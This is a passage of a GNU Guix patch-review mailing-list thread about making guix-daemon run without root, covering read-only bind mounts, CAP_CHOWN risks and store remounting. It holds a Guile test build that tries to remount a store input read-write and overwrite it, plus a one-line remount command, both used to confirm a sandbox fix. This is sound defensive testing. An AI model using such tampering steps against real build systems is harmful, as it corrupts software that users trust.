the temp roots for a client, and the client takes care to copy the
failed build directory to a fresh path owned by the current user?  Or we
could make it so that the failed build directory gets sent over the wire
in nar form to the client.  Not sure what the best approach there is.

> There=E2=80=99s another issue: /gnu/store can no longer be remounted
> read-only (like we do on Guix System and on systemd with
> =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon =
would
> be unable to remount it read-write (or at least I couldn=E2=80=99t find
> a way to do that).  Thus =E2=80=98guix-install.sh=E2=80=99 no longer inst=
alls
> =E2=80=98gnu-store.mount=E2=80=99 in that case.  It=E2=80=99s a bit sad t=
o lose that
> so if anyone can think of a way to achieve it, that=E2=80=99d be great.

We currently remount /gnu/store read-write at LocalStore-creation-time,
which happens in the newly-forked guix-daemon process at the start of a
connection.  I don't think there's any particularly elevated risk from
instead doing that before the per-connection process is forked.  There
are a number of ways we could do this: we could make it the
responsibility of the init system to create the mount namespace and do
the remounting, or we could have guix-daemon do it immediately on
startup and subsequently switch its uid and gid to
guix-daemon:guix-daemon.  These lack the slick appeal of "see, you never
have to give it root, and you can prove it just by looking at the
service file", but realistically should be just as secure.  It may be
useful to provide a small wrapper around guix-daemon that does the
remount and privilege-dropping, to more succinctly express this to
anybody wishing to see for themselves.

> The next step (in another patch series) would be Guix System support
> with automatic transition (essentially =E2=80=9Cchown -R
> guix-daemon:guix-daemon /gnu/store=E2=80=9D).
>=20
> Thoughts?

There are, effectively, 3 platforms that guix currently supports: posix,
linux, and hurd.  Posix doesn't get much attention since we don't chase
Mac like nix does, but there do exist configurations where we use
neither linux-specific nor hurd-specific functionality.  Additionally, a
given guix-daemon may be either privileged or unprivileged.  Thus, we
end up with a total of 6 configurations.  Except there is now also the
question of whether less-than-fully-trusted users are allowed access to
the guix-daemon's socket.  Now we're in theory at 12 configurations.
Which of these configurations to use is, in some circumstances, going to
come down to judgement calls.  For example, one user may not care at all
about the risk of malicious builders (e.g. "the admins on this shared
system all use the debian tools anyway"), but be quite concerned about
the possibility of a root-granting exploit being found in guix-daemon.
Another (like myself and other Guix System users) may consider a risk to
the store to be the same as a risk to the entire system itself.  In
theory splitting between "privileged-with-root" and
"privileged-with-capabilities" will only increase the number of
configurations further.

Personally, I think that if a guix-daemon can use privilege separation
users, it would probably be a good idea to.  We're certainly going to
need to support them on non-linux systems either way.  Could it be
possible to have guix-install.sh modify /etc/sudoers on systems that use
it to allow the guix-daemon user to run processes under guix builder
users?  I am currently less worried about arbitrary code execution
vulnerabilities being found in the daemon than about the possibility of
malicious builders (but it is possible I am underexposed to the ways
those can happen in C++).

Additionally, CAP_CHOWN, while not having a direct path to privilege
escalation due to setuid and setgid bits being reset when chown is
called, can nevertheless be easily leveraged into privilege escalation
in most real-world situations where arbitrary code execution is
possible, so switching to using just that capability would realistically
only add defense in less-than-arbitrary-code-execution scenarios.

Using unprivileged user namespaces would, however, be an excellent
addition for unprivileged daemons, like the one started by test-env, or
one started by an unprivileged user on a system without a whole-system
guix installation.

Hope that helps.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmeVhCkXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJynXgf+JjAkPl4ovl0cvNj774zFtcoa
iXEzBEt9UX6Yu48Ja6f5OhqyuNd7ZxkZMCSz2ZrnOEABBk+hzTsRvg1VX1RFBqxo
jOyXWtPZYtSzFQdPL/CM5GD4oO8gW0QNf1/dn5cJDR1c4To6MSAt4v6CxLBspUZw
2DHKhGJwrKtFLWIR/6iFmmMzmn19npgFRjcL55Sb8qs691jvV1LmHJ4wN2E6p8M+
BtbWWulOGKClud2frYdI9zJp51iKIAm0V7xX6dnKhyz55OimlEv2vUHqktBOGehU
ymEqXwTf8ickK3XDPoYlRjcmv6BzuuQ4AR4I7ud8aHPF9rYSodXV64jNmnJ16w==
=3cRE
-----END PGP SIGNATURE-----
--=-=-=--




Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Mon, 27 Jan 2025 21:33:02 +0000
Resent-Message-ID: <handler.75810.B75810.173801352416537 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: Reepca Russelstein <reepca@HIDDEN>
Cc: 75810 <at> debbugs.gnu.org
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173801352416537
          (code B ref 75810); Mon, 27 Jan 2025 21:33:02 +0000
Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 21:32:04 +0000
Received: from localhost ([127.0.0.1]:34655 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tcWiB-0004Ie-Lk
	for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:32:04 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:40310)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tcWi7-0004I4-BZ
 for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:32:02 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tcWi0-0003ut-Nv; Mon, 27 Jan 2025 16:31:52 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=YDM+EJL5NRiIdzlKPrzEycEEJGbMu9+2u59HSqzLKLs=; b=EJ/eIRR6f+aXGcbQUCDO
 d6BOIyX+v9RlccedEoZGj2GsYTLLxi9w4MjJ+YgPxDzQ4ETvQicWWcZMIKAdkGVTr3JASJyGJ24pV
 VnUP2+AZ5mWSHB8yQnMe0KY4VAvaMtsmN+GOKb7Pms3dgZlf7K5Zk6UANPrisX1pFKTiKH0DIbJK8
 SGMlqn1HB0eBBrVpI2fDPRE5BzkI7P4OpoC8+6lPWdcHyeZLcO4Rr1ZqyStOKkjb6meBEm1rRjXye
 /g+V++5dXIdymTm9HE8Ab8DNVHvMluvEyOLrbJ3l3CtdFTNwYcM0nV6o5tbfVK8mSbry5SyLGkHyZ
 8JN8uLXVJBB+Yw==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
In-Reply-To: <87r04qe7dj.fsf@HIDDEN> (Reepca Russelstein's message of
 "Sat, 25 Jan 2025 18:39:04 -0600")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN>
Date: Mon, 27 Jan 2025 22:31:43 +0100
Message-ID: <87bjvshrk0.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Spam-Score: -1.8 (-)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.8 (--)

--=-=-=
Content-Type: text/plain

Hello Reepca,

Reepca Russelstein <reepca@HIDDEN> skribis:

> user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin/hello
> GOOOOOD BYYEEEEEE

This particular issue is fixed with read-only mounts:


--=-=-=
Content-Type: text/x-patch
Content-Disposition: inline

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index c95bd2821f..e8e4a56e2d 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2175,7 +2175,7 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
-                if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
+                if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_RDONLY, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
             }
 

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable


(I checked that it does the right thing.)

The fix is trivial, but I=E2=80=99m glad you found the bug in the first pla=
ce;
it does stress that we have to be careful here.

> I suppose we could try to perform these bind-mounts with the MS_RDONLY
> flag, but we would need some way to ensure that the builder can't just
> remount them read-write

The example below tests that; =E2=80=98mount=E2=80=99 fails with EPERM when=
 using the
unprivileged daemon (=E2=80=98./test-env guix build -f =E2=80=A6=E2=80=99):

--8<---------------cut here---------------start------------->8---
(use-modules (guix)
             (guix modules)
             (gnu packages bootstrap))

(computed-file "try-to-remount-input-read-write"
               (with-imported-modules (source-module-closure
                                       '((guix build syscalls)))
                 #~(begin
                     (use-modules (guix build syscalls))

                     (let ((input #$(plain-file "input-that-might-be-tamper=
ed-with"
                                                "All good!")))
                       (mount "none" input "none" (logior MS_BIND MS_REMOUN=
T))
                       (call-with-output-file input
                         (lambda (port)
                           (display "BAD!" port)))
                       (mkdir #$output))))
               #:guile %bootstrap-guile)
--8<---------------cut here---------------end--------------->8---

This is similar to:

  guix shell -C guile guix -- \
    guile -c '(use-modules (guix build syscalls)) (mount "none" (getenv "GU=
IX_ENVIRONMENT") "none" (logior MS_BIND MS_REMOUNT))'

mount(2) has this:

   EPERM  An attempt was made to modify (MS_REMOUNT) the MS_RDONLY, MS_NO=
=E2=80=90
          SUID, or MS_NOEXEC flag, or one of the "atime"  flags  (MS_NOAT=
=E2=80=90
          IME,  MS_NODIRATIME,  MS_RELATIME) of an existing mount, but the
          mount is locked; see mount_namespaces(7).

I couldn=E2=80=99t find the definite answer in mount_namespaces(7) as to wh=
ether
this applies in this case (same namespace but after chroot); I can only
tell empirically that it does apply.

>> This patch changes guix-daemon so it can run as an unprivileged
>> user, using unprivileged user namespaces to still support isolated
>> builds.  There=E2=80=99s a couple of cases where root is/was still neces=
sary:
>>=20
>>   1. To create /var/guix/profiles/per-user/$USER and chown it
>>      as $USER (see CVE-2019-18192).
>>=20
>>   2. To chown /tmp/guix-build-* when using =E2=80=98--keep-failed=E2=80=
=99.
>>=20
>> Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is
>> what this patch series does on distros using systemd.  (For some
>> reason CAP_CHOWN had to be added to the set of =E2=80=9Cambient capabili=
ties=E2=80=9D,
>> which are inherited by child processes; this is why there=E2=80=99s a pa=
tch
>> to drop ambient capabilities in build processes.)
>>=20
>> On Guix System (not implemented here), we could address (1) by
>> creating /var/guix/profiles/per-user/$USER upfront for all the
>> user accounts.  We could leave (2) unaddressed (so failed build
>> directories would be owned by guix-daemon:guix-daemon) or we=E2=80=99d
>> have to pass CAP_CHOWN as well.

[...]

> This does raise the question, though, of how these failed build
> directories would get deleted, aside from rebooting the system.

Note that in the early days (and in current Nix actually), build trees
were not chowned.  That=E2=80=99s OK: they=E2=80=99re deleted upon reboot o=
r by the
system administrator.

Current Nix has this:

--8<---------------cut here---------------start------------->8---
void DerivationGoal::deleteTmpDir(bool force)
{
    if (tmpDir !=3D "") {
        /* Don't keep temporary directories for builtins because they
           might have privileged stuff (like a copy of netrc). */
        if (settings.keepFailed && !force && !drv->isBuiltin()) {
            printError("note: keeping build directory '%s'", tmpDir);
            chmod(tmpDir.c_str(), 0755);
        }
        else
            deletePath(tmpDir);
        tmpDir =3D "";
    }
}
--8<---------------cut here---------------end--------------->8---

We could go back to this.  It=E2=80=99s less convenient, but okay.

In this patch series, it attempts to chown the tree; if it fails to do
so (because it lacks CAP_CHOWN), it prints a warning and keeps going.

> Perhaps the garbage collector could be modified to get rid of them?
> In which case it may be best to make it so that the failed build
> directories are automatically added to the temp roots for a client,
> and the client takes care to copy the failed build directory to a
> fresh path owned by the current user?  Or we could make it so that the
> failed build directory gets sent over the wire in nar form to the
> client.  Not sure what the best approach there is.

Dunno.  Sending it as nar may be too heavyweight and quite a bit of
work.

I=E2=80=99d say it goes beyond the scope of this patch series, though.

> We currently remount /gnu/store read-write at LocalStore-creation-time,
> which happens in the newly-forked guix-daemon process at the start of a
> connection.  I don't think there's any particularly elevated risk from
> instead doing that before the per-connection process is forked.  There
> are a number of ways we could do this: we could make it the
> responsibility of the init system to create the mount namespace and do
> the remounting, or we could have guix-daemon do it immediately on
> startup and subsequently switch its uid and gid to
> guix-daemon:guix-daemon.  These lack the slick appeal of "see, you never
> have to give it root, and you can prove it just by looking at the
> service file", but realistically should be just as secure.  It may be
> useful to provide a small wrapper around guix-daemon that does the
> remount and privilege-dropping, to more succinctly express this to
> anybody wishing to see for themselves.

I think I=E2=80=99d prefer to have a systemd (or other) service make a
read-write bind-mount at /gnu/store/.rw-store, and then we=E2=80=99d run
=E2=80=98guix-daemon --backing-store=3D/gnu/store/.rw-store=E2=80=99.

WDYT?

> There are, effectively, 3 platforms that guix currently supports: posix,
> linux, and hurd.

Rather two: Linux and Hurd.  But note: we don=E2=80=99t use any Hurd-specif=
ic
features yet, and in practice all the energy and focus is on Linux (on
the Hurd we run =E2=80=98guix-daemon --disable-chroot=E2=80=99 anyway).

Adding the privileged/unprivileged setting, we=E2=80=99d have two configura=
tions
really, again setting aside the Hurd.

The way I see it, if everything goes well, we=E2=80=99d default to unprivil=
eged
guix-daemon on Guix System as well and eventually (longer term) drop the
privileged daemon.

> Personally, I think that if a guix-daemon can use privilege separation
> users, it would probably be a good idea to.  We're certainly going to
> need to support them on non-linux systems either way.  Could it be
> possible to have guix-install.sh modify /etc/sudoers on systems that use
> it to allow the guix-daemon user to run processes under guix builder
> users?  I am currently less worried about arbitrary code execution
> vulnerabilities being found in the daemon than about the possibility of
> malicious builders (but it is possible I am underexposed to the ways
> those can happen in C++).

What would you put in /etc/sudoers?  I=E2=80=99m not sure what you had in m=
ind.

Aside, I=E2=80=99d rather avoid relying on external tools like =E2=80=98sud=
o=E2=80=99.

> Additionally, CAP_CHOWN, while not having a direct path to privilege
> escalation due to setuid and setgid bits being reset when chown is
> called, can nevertheless be easily leveraged into privilege escalation
> in most real-world situations where arbitrary code execution is
> possible, so switching to using just that capability would realistically
> only add defense in less-than-arbitrary-code-execution scenarios.

I agree about CAP_CHOWN, which is why I proposed scenarios without it.

Thanks a lot for your feedback!

I=E2=80=99ll send a second version addressing the immediate issue you found
and, if everything goes well, an attempt at restoring the /gnu/store
read-only bind-mount.

Ludo=E2=80=99.

--=-=-=--




Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
References: <cover.1737738362.git.ludo@HIDDEN>
Resent-From: =?UTF-8?Q?No=C3=A9?= Lopez <noe@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Mon, 27 Jan 2025 21:52:01 +0000
Resent-Message-ID: <handler.75810.B75810.173801469019840 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Reepca Russelstein <reepca@HIDDEN>, Janneke Nieuwenhuizen <janneke@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173801469019840
          (code B ref 75810); Mon, 27 Jan 2025 21:52:01 +0000
Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 21:51:30 +0000
Received: from localhost ([127.0.0.1]:34677 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tcX10-00059v-Fv
	for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:51:30 -0500
Received: from smtp.domeneshop.no ([2a01:5b40:0:3006::1]:48092)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <noe@HIDDEN>) id 1tcX0x-00059h-TM
 for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:51:28 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=xn--no-cja.eu; s=ds202402; h=Content-Transfer-Encoding:Content-Type:
 MIME-Version:Message-ID:Date:In-Reply-To:Subject:Cc:To:From:From:Sender:
 Reply-To:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
 References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:List-Post:
 List-Owner:List-Archive; bh=GgPEyd3fk1s6cfcwQ3m466y4tXWO39lJaumX+dc0l6A=; b=e
 BbTqvC8t+hNcMIibYGo3qvDzVtYWItsEafHZu1q8nT5iZ4BQG4YI8W3zzY+gjkI5QiUKCTkuLEKl6
 bVjPp2eWdlfzRNFkwKfiuZZWbaoZG5L3VHX69vtm9Vtwlebs9OcMtenXGfC6IB67GGPzglFF3gYrw
 mbdJjH2fdTeJAip6XbRXvgg0CZr0XYZdUpDE4MRDsJOFOZdFBWr6zT7rIqtz2dIhXOdoNdOaoxQQT
 PFkYQSZFeX2F6Nme/E19PcR9RDQXR+MjgKXg9GwZKMrnj2CIEEkUzM299vJCf5b3dLKEAm8iESFAI
 YfvrPixHRE+uo7YtJQeWY/oXQmKFJEGvQ==;
Received: from smtp by smtp.domeneshop.no with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.95)
 id 1tcX0q-003nln-U6; Mon, 27 Jan 2025 22:51:21 +0100
From: =?UTF-8?Q?No=C3=A9?= Lopez <noe@HIDDEN>
In-Reply-To: <87bjvshrk0.fsf@HIDDEN>
Date: Mon, 27 Jan 2025 22:51:08 +0100
Message-ID: <87ed0ox6wj.fsf@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -0.0 (/)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hi Ludovic,

If the store is not read-only, is there not a risk of applications
running as root modifying their own files in the store?

As a possible solution, maybe it is possible to have a modifiable store
directory for the daemon and a read-only bind mount as /gnu/store.  If
it does not have performance implications, applications would be started
from /gnu/store as usual and the builder can still use the other
directory.

What do you think?
No=C3=A9




Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Mon, 27 Jan 2025 22:07:02 +0000
Resent-Message-ID: <handler.75810.B75810.173801558822652 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: =?UTF-8?Q?No=C3=A9?= Lopez <noe@HIDDEN>
Cc: Reepca Russelstein <reepca@HIDDEN>, 75810 <at> debbugs.gnu.org, Janneke Nieuwenhuizen <janneke@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173801558822652
          (code B ref 75810); Mon, 27 Jan 2025 22:07:02 +0000
Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 22:06:28 +0000
Received: from localhost ([127.0.0.1]:34734 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tcXFU-0005tH-7X
	for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 17:06:28 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:49858)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tcXFO-0005sv-T5
 for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 17:06:26 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tcXFG-0000y9-G2; Mon, 27 Jan 2025 17:06:15 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=FZsZtn8hQb4MqBPsBayyvYeriMYuiItagcbZynF5vWE=; b=eL85oeL6tksyFAc/pETY
 ijrRKvEQ1HikFxb6M+UVdJAl+rbw6C77c6WGBFrgZ4RTd1nB7EE9cSmV4frYYVRYquvx8E0hbUtmg
 R1Zowr0k+AnlzSoUwYQNYOPkNljpv8FIqd1f8vYreROOpxUA/3BFv5c6wBedrQKN2DZb3wHau/Ut7
 XInkboSJIk4DLL86ziS2emVZQD3CAJjLBdZgwooDQuVmqYqxWgcLWROkr/9c4LXAlkcMwjtTzjgR3
 rKNysWRhEQ62Cjy3Hg4R9TdguIH3NgQlz85y67YwY2vat+/6Otw8cyWbsHlrUZeeQ9AQGiYzOjJHE
 ERfse9CkCPcX6A==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
In-Reply-To: <87ed0ox6wj.fsf@HIDDEN> ("=?UTF-8?Q?No=C3=A9?=
 Lopez"'s message of "Mon, 27 Jan 2025 22:51:08 +0100")
References: <87ed0ox6wj.fsf@HIDDEN>
X-URL: http://www.fdn.fr/~lcourtes/
X-Revolutionary-Date: Octidi 8 =?UTF-8?Q?Pluvi=C3=B4se?= an 233 de la
 =?UTF-8?Q?R=C3=A9volution,?= jour du
 =?UTF-8?Q?M=C3=A9z=C3=A9r=C3=A9on?=
X-PGP-Key-ID: 0x090B11993D9AEBB5
X-PGP-Key: http://www.fdn.fr/~lcourtes/ludovic.asc
X-PGP-Fingerprint: 3CE4 6455 8A84 FDC6 9DB4  0CFB 090B 1199 3D9A EBB5
X-OS: x86_64-pc-linux-gnu
Date: Mon, 27 Jan 2025 23:05:21 +0100
Message-ID: <87r04nhpzy.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hi,

No=C3=A9 Lopez <noe@no=C3=A9.eu> skribis:

> If the store is not read-only, is there not a risk of applications
> running as root modifying their own files in the store?

Yes, there=E2=80=99s a risk.

> As a possible solution, maybe it is possible to have a modifiable store
> directory for the daemon and a read-only bind mount as /gnu/store.  If
> it does not have performance implications, applications would be started
> from /gnu/store as usual and the builder can still use the other
> directory.

I agree, that=E2=80=99s what I alluded to with having /gnu/.rw-store as the
backing store used by guix-daemon, while /gnu/store would be read-only.

Thanks,
Ludo=E2=80=99.




Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Resent-From: Reepca Russelstein <reepca@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Wed, 29 Jan 2025 07:53:01 +0000
Resent-Message-ID: <handler.75810.B75810.173813715422669 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Cc: 75810 <at> debbugs.gnu.org
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173813715422669
          (code B ref 75810); Wed, 29 Jan 2025 07:53:01 +0000
Received: (at 75810) by debbugs.gnu.org; 29 Jan 2025 07:52:34 +0000
Received: from localhost ([127.0.0.1]:39782 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1td2sD-0005tW-EQ
	for submit <at> debbugs.gnu.org; Wed, 29 Jan 2025 02:52:34 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:57690)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1td2s9-0005tL-Nl
 for 75810 <at> debbugs.gnu.org; Wed, 29 Jan 2025 02:52:31 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=gl+n7dEdqtg50yw59FPf0Baaad1/mvyEDFo+FqvjDr4=; b=5RPIHZEQvol8/XaJLDG1ZezzSz
 CQuOzmdZnJj5hKDmZ/QSYajJm8MkCDnC1UvYgk9oZ54zrBoXXaJm3eyuSdDg==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=gl+n7dEdqtg50yw59FPf0Baaad1/mvyEDFo+FqvjDr4=; b=iFnP6sZhXNQBc82w2OHN+KmdZu
 xCpW8GRjL6uO8AAVhO1ENsBynewtzQGWumFKxLS70hi2PkqG/h1nyw/sPF/LG7MOZhRSuenMyQaKV
 Pk87OARprML/g46GVLvQEhUS6OYtMijZ7b18TGgwW53+Rwk39b3c9Soi5X5482Hm2jJWV18I8GD7F
 09pL6PbNZmdgMH+Ta3Hq/nppISp6VyNRftCyV8mJaJpc+LFCCAkCw99POxXE7UURFhY1xg2XzWg3r
